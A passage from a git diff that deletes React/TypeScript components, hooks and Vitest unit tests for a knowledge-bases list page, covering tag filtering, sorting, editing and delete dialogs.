-interface UseKnowledgeBasesResultI {
-    allTags: Tag[];
-    error: unknown;
-    filteredKnowledgeBases: KnowledgeBase[];
-    isLoading: boolean;
-    knowledgeBases: KnowledgeBase[];
-    tagId: string | undefined;
-    tagsByKnowledgeBaseData: KnowledgeBaseTagsEntry[];
-}
-
-export default function useKnowledgeBases(): UseKnowledgeBasesResultI {
-    const workspaceId = useWorkspaceStore((state) => state.currentWorkspaceId);
-
-    const {data, error, isLoading} = useKnowledgeBasesQuery({workspaceId: String(workspaceId)});
-
-    const knowledgeBases = useMemo(
-        () =>
-            (data?.knowledgeBases ?? []).filter(
-                (knowledgeBase): knowledgeBase is NonNullable<typeof knowledgeBase> => knowledgeBase !== null
-            ),
-        [data?.knowledgeBases]
-    );
-
-    const [searchParams] = useSearchParams();
-    const tagIdParam = searchParams.get('tagId');
-    const tagId = tagIdParam ?? undefined;
-
-    const {data: tagsByKnowledgeBaseQueryData} = useKnowledgeBaseTagsByKnowledgeBaseQuery();
-    const {data: allTagsData} = useKnowledgeBaseTagsQuery();
-
-    const tagsByKnowledgeBaseData = useMemo(
-        () => tagsByKnowledgeBaseQueryData?.knowledgeBaseTagsByKnowledgeBase ?? [],
-        [tagsByKnowledgeBaseQueryData?.knowledgeBaseTagsByKnowledgeBase]
-    );
-    const allTags = useMemo(() => allTagsData?.knowledgeBaseTags ?? [], [allTagsData?.knowledgeBaseTags]);
-
-    const filteredKnowledgeBases = useMemo(() => {
-        if (!tagId) return knowledgeBases;
-
-        const knowledgeBaseIdsWithTag = new Set<string>();
-
-        for (const entry of tagsByKnowledgeBaseData) {
-            const hasTag = entry.tags?.some((tag) => String(tag.id) === tagId);
-
-            if (hasTag) knowledgeBaseIdsWithTag.add(entry.knowledgeBaseId);
-        }
-
-        return knowledgeBases.filter((knowledgeBase) => knowledgeBaseIdsWithTag.has(knowledgeBase.id));
-    }, [knowledgeBases, tagsByKnowledgeBaseData, tagId]);
-
-    return {
-        allTags,
-        error,
-        filteredKnowledgeBases,
-        isLoading,
-        knowledgeBases,
-        tagId,
-        tagsByKnowledgeBaseData,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-bases/components/hooks/useKnowledgeBasesFilterTitle.ts b/client/src/pages/automation/knowledge-bases/components/hooks/useKnowledgeBasesFilterTitle.ts
deleted file mode 100644
index 17ad9565f01..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/hooks/useKnowledgeBasesFilterTitle.ts
+++ /dev/null
@@ -1,39 +0,0 @@
-import {KnowledgeBaseTagsEntry, Tag} from '@/shared/middleware/graphql';
-import {useMemo} from 'react';
-import {useSearchParams} from 'react-router-dom';
-
-interface UseKnowledgeBasesFilterTitleProps {
-    allTags: Tag[];
-    tagsByKnowledgeBaseData: KnowledgeBaseTagsEntry[];
-}
-
-interface UseKnowledgeBasesFilterTitleResultI {
-    pageTitle: string | undefined;
-    tagId: string | null;
-}
-
-export default function useKnowledgeBasesFilterTitle({
-    allTags,
-    tagsByKnowledgeBaseData,
-}: UseKnowledgeBasesFilterTitleProps): UseKnowledgeBasesFilterTitleResultI {
-    const [searchParams] = useSearchParams();
-
-    const tagId = searchParams.get('tagId');
-
-    const pageTitle = useMemo(() => {
-        if (!tagId) return undefined;
-
-        const fromGlobal = allTags.find((tag) => String(tag.id) === tagId)?.name;
-
-        if (fromGlobal) return fromGlobal;
-
-        const flat = tagsByKnowledgeBaseData.flatMap((entry) => entry.tags ?? []);
-
-        return flat.find((tag) => String(tag.id) === tagId)?.name;
-    }, [allTags, tagsByKnowledgeBaseData, tagId]);
-
-    return {
-        pageTitle,
-        tagId,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-bases/components/hooks/useKnowledgeBasesLeftSidebarNav.ts b/client/src/pages/automation/knowledge-bases/components/hooks/useKnowledgeBasesLeftSidebarNav.ts
deleted file mode 100644
index ae72b5aa45e..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/hooks/useKnowledgeBasesLeftSidebarNav.ts
+++ /dev/null
@@ -1,20 +0,0 @@
-import {useKnowledgeBaseTagsQuery} from '@/shared/middleware/graphql';
-import {useSearchParams} from 'react-router-dom';
-
-export default function useKnowledgeBasesLeftSidebarNav() {
-    const [searchParams] = useSearchParams();
-
-    const tagId = searchParams.get('tagId');
-
-    const {data, isLoading} = useKnowledgeBaseTagsQuery();
-
-    const tags = data?.knowledgeBaseTags ?? [];
-    const hasData = !!data?.knowledgeBaseTags;
-
-    return {
-        hasData,
-        isLoading,
-        tagId,
-        tags,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseList.tsx b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseList.tsx
deleted file mode 100644
index 5109873c2fc..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseList.tsx
+++ /dev/null
@@ -1,40 +0,0 @@
-import useKnowledgeBaseList from '@/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseList';
-import {KnowledgeBase, KnowledgeBaseTagsEntry, Tag} from '@/shared/middleware/graphql';
-
-import KnowledgeBaseListItem from './KnowledgeBaseListItem';
-
-interface KnowledgeBaseListProps {
-    allTags: Tag[];
-    knowledgeBases: KnowledgeBase[];
-    tagsByKnowledgeBaseData: KnowledgeBaseTagsEntry[];
-}
-
-const KnowledgeBaseList = ({allTags, knowledgeBases, tagsByKnowledgeBaseData}: KnowledgeBaseListProps) => {
-    const {sortedKnowledgeBases, tagsByKnowledgeBaseMap} = useKnowledgeBaseList({
-        knowledgeBases,
-        tagsByKnowledgeBaseData,
-    });
-
-    return (
-        <div className="w-full divide-y divide-border/50 px-4 3xl:mx-auto 3xl:w-4/5">
-            {sortedKnowledgeBases.map((knowledgeBase) => {
-                const currentTags = tagsByKnowledgeBaseMap.get(knowledgeBase.id) || [];
-
-                const currentTagIds = new Set(currentTags.map((tag) => tag.id));
-
-                const remainingTags = allTags.filter((tag) => !currentTagIds.has(tag.id));
-
-                return (
-                    <KnowledgeBaseListItem
-                        key={knowledgeBase.id}
-                        knowledgeBase={knowledgeBase}
-                        remainingTags={remainingTags}
-                        tags={currentTags}
-                    />
-                );
-            })}
-        </div>
-    );
-};
-
-export default KnowledgeBaseList;
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItem.tsx b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItem.tsx
deleted file mode 100644
index 02cd13243c8..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItem.tsx
+++ /dev/null
@@ -1,147 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    DropdownMenu,
-    DropdownMenuContent,
-    DropdownMenuItem,
-    DropdownMenuSeparator,
-    DropdownMenuTrigger,
-} from '@/components/ui/dropdown-menu';
-import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
-import EditKnowledgeBaseDialog from '@/pages/automation/knowledge-base/components/EditKnowledgeBaseDialog';
-import KnowledgeBaseListItemDeleteDialog from '@/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItemDeleteDialog';
-import KnowledgeBaseListItemTagList from '@/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItemTagList';
-import useKnowledgeBaseListItem from '@/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItem';
-import {KnowledgeBase, Tag} from '@/shared/middleware/graphql';
-import {DatabaseIcon, EditIcon, EllipsisVerticalIcon, Trash2Icon} from 'lucide-react';
-
-interface KnowledgeBaseListItemProps {
-    knowledgeBase: KnowledgeBase;
-    remainingTags?: Tag[];
-    tags: Tag[];
-}
-
-const KnowledgeBaseListItem = ({knowledgeBase, remainingTags, tags}: KnowledgeBaseListItemProps) => {
-    const {
-        handleCloseDeleteDialog,
-        handleEditClick,
-        handleEditDialogOpenChange,
-        handleKnowledgeBaseClick,
-        handleShowDeleteDialog,
-        handleTagListClick,
-        showDeleteDialog,
-        showEditDialog,
-    } = useKnowledgeBaseListItem({knowledgeBase});
-
-    return (
-        <>
-            <div
-                className="flex w-full cursor-pointer items-center justify-between rounded-md px-2 hover:bg-muted/50"
-                onClick={handleKnowledgeBaseClick}
-            >
-                <div className="flex flex-1 items-center py-5">
-                    <div className="flex-1">
-                        <div className="flex items-center gap-2">
-                            <DatabaseIcon className="size-5 text-muted-foreground" />
-
-                            {knowledgeBase.description ? (
-                                <Tooltip>
-                                    <TooltipTrigger>
-                                        <span className="text-base font-semibold">{knowledgeBase.name}</span>
-                                    </TooltipTrigger>
-
-                                    <TooltipContent>{knowledgeBase.description}</TooltipContent>
-                                </Tooltip>
-                            ) : (
-                                <span className="text-base font-semibold">{knowledgeBase.name}</span>
-                            )}
-                        </div>
-
-                        <div className="relative mt-2 sm:flex sm:items-center sm:justify-between">
-                            <div className="flex items-center gap-3">
-                                <div className="flex items-center gap-4 text-xs text-muted-foreground">
-                                    {knowledgeBase.maxChunkSize && <span>Max chunk: {knowledgeBase.maxChunkSize}</span>}
-
-                                    {knowledgeBase.overlap !== undefined && (
-                                        <span>Overlap: {knowledgeBase.overlap}</span>
-                                    )}
-                                </div>
-
-                                <div onClick={handleTagListClick}>
-                                    <KnowledgeBaseListItemTagList
-                                        knowledgeBaseId={knowledgeBase.id}
-                                        remainingTags={remainingTags}
-                                        tags={tags}
-                                    />
-                                </div>
-                            </div>
-                        </div>
-                    </div>
-
-                    <div className="flex items-center justify-end gap-x-6">
-                        <div className="flex flex-col items-end gap-y-1">
-                            <Tooltip>
-                                <TooltipTrigger>
-                                    <div className="text-sm text-muted-foreground">
-                                        {knowledgeBase.lastModifiedDate ? (
-                                            <span className="text-xs">
-                                                {`Modified ${new Date(knowledgeBase.lastModifiedDate).toLocaleDateString()} ${new Date(knowledgeBase.lastModifiedDate).toLocaleTimeString()}`}
-                                            </span>
-                                        ) : (
-                                            <span className="text-xs">Never modified</span>
-                                        )}
-                                    </div>
-                                </TooltipTrigger>
-
-                                <TooltipContent>Last Modified Date</TooltipContent>
-                            </Tooltip>
-                        </div>
-
-                        <DropdownMenu>
-                            <DropdownMenuTrigger asChild onClick={(event) => event.stopPropagation()}>
-                                <Button
-                                    aria-label="More KnowledgeBase Actions"
-                                    icon={<EllipsisVerticalIcon />}
-                                    size="icon"
-                                    variant="ghost"
-                                />
-                            </DropdownMenuTrigger>
-
-                            <DropdownMenuContent align="end" className="p-0">
-                                <DropdownMenuItem className="dropdown-menu-item" onClick={handleEditClick}>
-                                    <EditIcon /> Edit
-                                </DropdownMenuItem>
-
-                                <DropdownMenuSeparator className="m-0" />
-
-                                <DropdownMenuItem
-                                    className="dropdown-menu-item-destructive"
-                                    onClick={(event) => {
-                                        event.stopPropagation();
-
-                                        handleShowDeleteDialog();
-                                    }}
-                                >
-                                    <Trash2Icon /> Delete
-                                </DropdownMenuItem>
-                            </DropdownMenuContent>
-                        </DropdownMenu>
-                    </div>
-                </div>
-            </div>
-
-            <KnowledgeBaseListItemDeleteDialog
-                knowledgeBaseId={knowledgeBase.id}
-                onClose={handleCloseDeleteDialog}
-                open={showDeleteDialog}
-            />
-
-            <EditKnowledgeBaseDialog
-                knowledgeBase={knowledgeBase}
-                onOpenChange={handleEditDialogOpenChange}
-                open={showEditDialog}
-            />
-        </>
-    );
-};
-
-export default KnowledgeBaseListItem;
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItemDeleteDialog.tsx b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItemDeleteDialog.tsx
deleted file mode 100644
index 3ce0cb43bce..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItemDeleteDialog.tsx
+++ /dev/null
@@ -1,58 +0,0 @@
-import {
-    AlertDialog,
-    AlertDialogAction,
-    AlertDialogCancel,
-    AlertDialogContent,
-    AlertDialogDescription,
-    AlertDialogFooter,
-    AlertDialogHeader,
-    AlertDialogTitle,
-} from '@/components/ui/alert-dialog';
-import useKnowledgeBaseListItemDeleteDialog from '@/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItemDeleteDialog';
-
-interface KnowledgeBaseListItemDeleteDialogProps {
-    knowledgeBaseId: string;
-    onClose: () => void;
-    open: boolean;
-}
-
-const KnowledgeBaseListItemDeleteDialog = ({
-    knowledgeBaseId,
-    onClose,
-    open,
-}: KnowledgeBaseListItemDeleteDialogProps) => {
-    const {handleCancelClick, handleDeleteClick} = useKnowledgeBaseListItemDeleteDialog({
-        knowledgeBaseId,
-        onClose,
-    });
-
-    return (
-        <AlertDialog open={open}>
-            <AlertDialogContent>
-                <AlertDialogHeader>
-                    <AlertDialogTitle>Are you absolutely sure?</AlertDialogTitle>
-
-                    <AlertDialogDescription>
-                        This action cannot be undone. This will permanently delete the knowledge base and all documents
-                        it contains.
-                    </AlertDialogDescription>
-                </AlertDialogHeader>
-
-                <AlertDialogFooter>
-                    <AlertDialogCancel className="shadow-none" onClick={handleCancelClick}>
-                        Cancel
-                    </AlertDialogCancel>
-
-                    <AlertDialogAction
-                        className="bg-surface-destructive-primary shadow-none hover:bg-surface-destructive-primary-hover active:bg-surface-destructive-primary-active"
-                        onClick={handleDeleteClick}
-                    >
-                        Delete
-                    </AlertDialogAction>
-                </AlertDialogFooter>
-            </AlertDialogContent>
-        </AlertDialog>
-    );
-};
-
-export default KnowledgeBaseListItemDeleteDialog;
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItemTagList.tsx b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItemTagList.tsx
deleted file mode 100644
index f374954bacf..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/KnowledgeBaseListItemTagList.tsx
+++ /dev/null
@@ -1,34 +0,0 @@
-import useKnowledgeBaseListItemTagList from '@/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItemTagList';
-import TagList from '@/shared/components/TagList';
-import {Tag} from '@/shared/middleware/graphql';
-
-interface KnowledgeBaseListItemTagListProps {
-    knowledgeBaseId: string;
-    remainingTags?: Tag[];
-    tags: Tag[];
-}
-
-const KnowledgeBaseListItemTagList = ({knowledgeBaseId, remainingTags, tags}: KnowledgeBaseListItemTagListProps) => {
-    const {convertedRemainingTags, convertedTags, updateTagsMutation} = useKnowledgeBaseListItemTagList({
-        knowledgeBaseId,
-        remainingTags,
-        tags,
-    });
-
-    return (
-        <TagList
-            getRequest={(_id, newTags) => ({
-                input: {
-                    knowledgeBaseId,
-                    tags: newTags.map((tag) => ({id: tag.id, name: tag.name})),
-                },
-            })}
-            id={+knowledgeBaseId}
-            remainingTags={convertedRemainingTags}
-            tags={convertedTags}
-            updateTagsMutation={updateTagsMutation}
-        />
-    );
-};
-
-export default KnowledgeBaseListItemTagList;
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseList.test.ts b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseList.test.ts
deleted file mode 100644
index 1739107b1e5..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseList.test.ts
+++ /dev/null
@@ -1,126 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {describe, expect, it} from 'vitest';
-
-import useKnowledgeBaseList from '../useKnowledgeBaseList';
-
-const mockKnowledgeBases = [
-    {id: 'kb-1', name: 'Zebra KB'},
-    {id: 'kb-2', name: 'Apple KB'},
-    {id: 'kb-3', name: 'Banana KB'},
-];
-
-const mockTagsByKnowledgeBase = [
-    {knowledgeBaseId: 'kb-1', tags: [{id: '1', name: 'Tag 1'}]},
-    {
-        knowledgeBaseId: 'kb-2',
-        tags: [
-            {id: '1', name: 'Tag 1'},
-            {id: '2', name: 'Tag 2'},
-        ],
-    },
-];
-
-describe('useKnowledgeBaseList', () => {
-    describe('sortedKnowledgeBases', () => {
-        it('sorts knowledge bases alphabetically by name', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseList({
-                    knowledgeBases: mockKnowledgeBases,
-                    tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-                })
-            );
-
-            expect(result.current.sortedKnowledgeBases.map((kb) => kb.name)).toEqual([
-                'Apple KB',
-                'Banana KB',
-                'Zebra KB',
-            ]);
-        });
-
-        it('handles empty list', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseList({
-                    knowledgeBases: [],
-                    tagsByKnowledgeBaseData: [],
-                })
-            );
-
-            expect(result.current.sortedKnowledgeBases).toEqual([]);
-        });
-
-        it('trims names for comparison', () => {
-            const kbWithWhitespace = [
-                {id: 'kb-1', name: '  Zebra KB'},
-                {id: 'kb-2', name: 'Apple KB  '},
-            ];
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseList({
-                    knowledgeBases: kbWithWhitespace,
-                    tagsByKnowledgeBaseData: [],
-                })
-            );
-
-            expect(result.current.sortedKnowledgeBases[0].name).toBe('Apple KB  ');
-            expect(result.current.sortedKnowledgeBases[1].name).toBe('  Zebra KB');
-        });
-
-        it('handles numeric sorting naturally', () => {
-            const kbWithNumbers = [
-                {id: 'kb-1', name: 'KB 10'},
-                {id: 'kb-2', name: 'KB 2'},
-                {id: 'kb-3', name: 'KB 1'},
-            ];
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseList({
-                    knowledgeBases: kbWithNumbers,
-                    tagsByKnowledgeBaseData: [],
-                })
-            );
-
-            expect(result.current.sortedKnowledgeBases.map((kb) => kb.name)).toEqual(['KB 1', 'KB 2', 'KB 10']);
-        });
-    });
-
-    describe('tagsByKnowledgeBaseMap', () => {
-        it('creates map from tags by knowledge base data', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseList({
-                    knowledgeBases: mockKnowledgeBases,
-                    tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-                })
-            );
-
-            expect(result.current.tagsByKnowledgeBaseMap.get('kb-1')).toEqual([{id: '1', name: 'Tag 1'}]);
-            expect(result.current.tagsByKnowledgeBaseMap.get('kb-2')).toEqual([
-                {id: '1', name: 'Tag 1'},
-                {id: '2', name: 'Tag 2'},
-            ]);
-        });
-
-        it('returns empty array for knowledge base without tags', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseList({
-                    knowledgeBases: mockKnowledgeBases,
-                    tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-                })
-            );
-
-            expect(result.current.tagsByKnowledgeBaseMap.get('kb-3')).toBeUndefined();
-        });
-
-        it('handles null tags', () => {
-            const tagsWithNull = [{knowledgeBaseId: 'kb-1', tags: null as unknown as {id: string; name: string}[]}];
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseList({
-                    knowledgeBases: mockKnowledgeBases,
-                    tagsByKnowledgeBaseData: tagsWithNull,
-                })
-            );
-
-            expect(result.current.tagsByKnowledgeBaseMap.get('kb-1')).toEqual([]);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseListItem.test.ts b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseListItem.test.ts
deleted file mode 100644
index f3d6b49dcea..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseListItem.test.ts
+++ /dev/null
@@ -1,146 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {MouseEvent} from 'react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseListItem from '../useKnowledgeBaseListItem';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        navigate: vi.fn(),
-    };
-});
-
-vi.mock('react-router-dom', () => ({
-    useNavigate: vi.fn(() => hoisted.navigate),
-}));
-
-const mockKnowledgeBase = {
-    id: 'kb-1',
-    name: 'Test KB',
-};
-
-describe('useKnowledgeBaseListItem', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('has showDeleteDialog as false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseListItem({knowledgeBase: mockKnowledgeBase}));
-
-            expect(result.current.showDeleteDialog).toBe(false);
-        });
-
-        it('has showEditDialog as false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseListItem({knowledgeBase: mockKnowledgeBase}));
-
-            expect(result.current.showEditDialog).toBe(false);
-        });
-    });
-
-    describe('handleShowDeleteDialog', () => {
-        it('sets showDeleteDialog to true', () => {
-            const {result} = renderHook(() => useKnowledgeBaseListItem({knowledgeBase: mockKnowledgeBase}));
-
-            act(() => {
-                result.current.handleShowDeleteDialog();
-            });
-
-            expect(result.current.showDeleteDialog).toBe(true);
-        });
-    });
-
-    describe('handleCloseDeleteDialog', () => {
-        it('sets showDeleteDialog to false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseListItem({knowledgeBase: mockKnowledgeBase}));
-
-            act(() => {
-                result.current.handleShowDeleteDialog();
-            });
-
-            act(() => {
-                result.current.handleCloseDeleteDialog();
-            });
-
-            expect(result.current.showDeleteDialog).toBe(false);
-        });
-    });
-
-    describe('handleEditClick', () => {
-        it('sets showEditDialog to true', () => {
-            const {result} = renderHook(() => useKnowledgeBaseListItem({knowledgeBase: mockKnowledgeBase}));
-
-            const mockEvent = {
-                stopPropagation: vi.fn(),
-            } as unknown as MouseEvent;
-
-            act(() => {
-                result.current.handleEditClick(mockEvent);
-            });
-
-            expect(result.current.showEditDialog).toBe(true);
-        });
-
-        it('stops event propagation', () => {
-            const {result} = renderHook(() => useKnowledgeBaseListItem({knowledgeBase: mockKnowledgeBase}));
-
-            const mockEvent = {
-                stopPropagation: vi.fn(),
-            } as unknown as MouseEvent;
-
-            act(() => {
-                result.current.handleEditClick(mockEvent);
-            });
-
-            expect(mockEvent.stopPropagation).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleEditDialogOpenChange', () => {
-        it('updates showEditDialog state', () => {
-            const {result} = renderHook(() => useKnowledgeBaseListItem({knowledgeBase: mockKnowledgeBase}));
-
-            act(() => {
-                result.current.handleEditDialogOpenChange(true);
-            });
-
-            expect(result.current.showEditDialog).toBe(true);
-
-            act(() => {
-                result.current.handleEditDialogOpenChange(false);
-            });
-
-            expect(result.current.showEditDialog).toBe(false);
-        });
-    });
-
-    describe('handleKnowledgeBaseClick', () => {
-        it('navigates to knowledge base detail page', () => {
-            const {result} = renderHook(() => useKnowledgeBaseListItem({knowledgeBase: mockKnowledgeBase}));
-
-            act(() => {
-                result.current.handleKnowledgeBaseClick();
-            });
-
-            expect(hoisted.navigate).toHaveBeenCalledWith('/automation/knowledge-bases/kb-1');
-        });
-    });
-
-    describe('handleTagListClick', () => {
-        it('prevents default and stops propagation', () => {
-            const {result} = renderHook(() => useKnowledgeBaseListItem({knowledgeBase: mockKnowledgeBase}));
-
-            const mockEvent = {
-                preventDefault: vi.fn(),
-                stopPropagation: vi.fn(),
-            } as unknown as MouseEvent;
-
-            act(() => {
-                result.current.handleTagListClick(mockEvent);
-            });
-
-            expect(mockEvent.preventDefault).toHaveBeenCalled();
-            expect(mockEvent.stopPropagation).toHaveBeenCalled();
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseListItemDeleteDialog.test.ts b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseListItemDeleteDialog.test.ts
deleted file mode 100644
index aecddfc515c..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseListItemDeleteDialog.test.ts
+++ /dev/null
@@ -1,136 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseListItemDeleteDialog from '../useKnowledgeBaseListItemDeleteDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        deleteMutate: vi.fn(),
-        invalidateQueries: vi.fn(),
-        toast: vi.fn(),
-    };
-});
-
-vi.mock('@/hooks/use-toast', () => ({
-    useToast: vi.fn(() => ({
-        toast: hoisted.toast,
-    })),
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useDeleteKnowledgeBaseMutation: vi.fn((options: {onError: () => void; onSuccess: () => void}) => ({
-        isPending: false,
-        mutate: (vars: unknown) => {
-            hoisted.deleteMutate(vars);
-            options.onSuccess();
-        },
-    })),
-}));
-
-describe('useKnowledgeBaseListItemDeleteDialog', () => {
-    const mockOnClose = vi.fn();
-
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('handleDeleteClick', () => {
-        it('calls delete mutation with knowledge base id', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemDeleteDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleDeleteClick();
-            });
-
-            expect(hoisted.deleteMutate).toHaveBeenCalledWith({id: 'kb-1'});
-        });
-
-        it('calls onClose after delete', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemDeleteDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleDeleteClick();
-            });
-
-            expect(mockOnClose).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleCancelClick', () => {
-        it('calls onClose', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemDeleteDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleCancelClick();
-            });
-
-            expect(mockOnClose).toHaveBeenCalled();
-        });
-    });
-
-    describe('on success', () => {
-        it('invalidates knowledgeBases queries after delete', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemDeleteDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleDeleteClick();
-            });
-
-            expect(hoisted.invalidateQueries).toHaveBeenCalledWith({queryKey: ['knowledgeBases']});
-        });
-
-        it('shows success toast after delete', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemDeleteDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleDeleteClick();
-            });
-
-            expect(hoisted.toast).toHaveBeenCalledWith({description: 'Knowledge base deleted successfully.'});
-        });
-    });
-
-    describe('isDeleting', () => {
-        it('returns pending state from mutation', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemDeleteDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            expect(result.current.isDeleting).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseListItemTagList.test.ts b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseListItemTagList.test.ts
deleted file mode 100644
index bcc202a8b88..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/tests/useKnowledgeBaseListItemTagList.test.ts
+++ /dev/null
@@ -1,115 +0,0 @@
-import {renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseListItemTagList from '../useKnowledgeBaseListItemTagList';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        cancelQueries: vi.fn(),
-        getQueryData: vi.fn(),
-        invalidateQueries: vi.fn(),
-        setQueryData: vi.fn(),
-        updateTagsMutation: {mutate: vi.fn()},
-    };
-});
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        cancelQueries: hoisted.cancelQueries,
-        getQueryData: hoisted.getQueryData,
-        invalidateQueries: hoisted.invalidateQueries,
-        setQueryData: hoisted.setQueryData,
-    })),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useUpdateKnowledgeBaseTagsMutation: vi.fn(() => hoisted.updateTagsMutation),
-}));
-
-const mockTags = [
-    {id: '1', name: 'Tag 1'},
-    {id: '2', name: 'Tag 2'},
-];
-
-const mockRemainingTags = [
-    {id: '3', name: 'Tag 3'},
-    {id: '4', name: 'Tag 4'},
-];
-
-describe('useKnowledgeBaseListItemTagList', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('convertedTags', () => {
-        it('converts tag ids to numbers', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemTagList({
-                    knowledgeBaseId: 'kb-1',
-                    remainingTags: mockRemainingTags,
-                    tags: mockTags,
-                })
-            );
-
-            expect(result.current.convertedTags).toEqual([
-                {id: 1, name: 'Tag 1'},
-                {id: 2, name: 'Tag 2'},
-            ]);
-        });
-
-        it('handles empty tags array', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemTagList({
-                    knowledgeBaseId: 'kb-1',
-                    remainingTags: mockRemainingTags,
-                    tags: [],
-                })
-            );
-
-            expect(result.current.convertedTags).toEqual([]);
-        });
-    });
-
-    describe('convertedRemainingTags', () => {
-        it('converts remaining tag ids to numbers', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemTagList({
-                    knowledgeBaseId: 'kb-1',
-                    remainingTags: mockRemainingTags,
-                    tags: mockTags,
